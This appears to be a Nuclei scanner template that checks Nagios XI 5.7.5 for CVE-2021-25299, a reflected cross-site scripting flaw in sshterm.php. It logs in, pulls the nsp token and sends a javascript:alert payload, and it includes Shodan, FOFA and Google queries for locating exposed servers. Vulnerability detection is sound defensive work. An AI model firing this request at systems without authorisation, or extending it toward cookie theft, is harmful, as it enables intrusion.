66 lines
2.5 KiB
YAML
66 lines
2.5 KiB
YAML
id: CVE-2021-25299
|
|
|
|
info:
|
|
name: Nagios XI 5.7.5 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
|
|
remediation: |
|
|
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
|
|
- http://nagios.com
|
|
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
|
|
- https://assets.nagios.com/downloads/nagiosxi/versions.php
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-25299
|
|
cwe-id: CWE-79
|
|
epss-score: 0.9644
|
|
epss-percentile: 0.99577
|
|
cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: nagios
|
|
product: nagios_xi
|
|
shodan-query: title:"Nagios XI"
|
|
fofa-query: title="nagios xi"
|
|
google-query: intitle:"nagios xi"
|
|
tags: cve2021,cve,nagios,nagiosxi,xss,authenticated
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST /nagiosxi/login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
|
|
- |
|
|
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(header_3, 'text/html')"
|
|
- "status_code_3 == 200"
|
|
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nsp
|
|
group: 1
|
|
regex:
|
|
- 'name="nsp" value="(.*)">'
|
|
internal: true
|
|
part: body
|
|
# digest: 4a0a0047304502206b99d22bd9041fb52ab13aa83d2e997290b17108448b7cbf376053179bd36bee022100ca8607aa86f35144000ea54bac59cc3ac464d1f0f8d3943df0365a02f45c3777:922c64590222798bb761d5b6d8e72950 |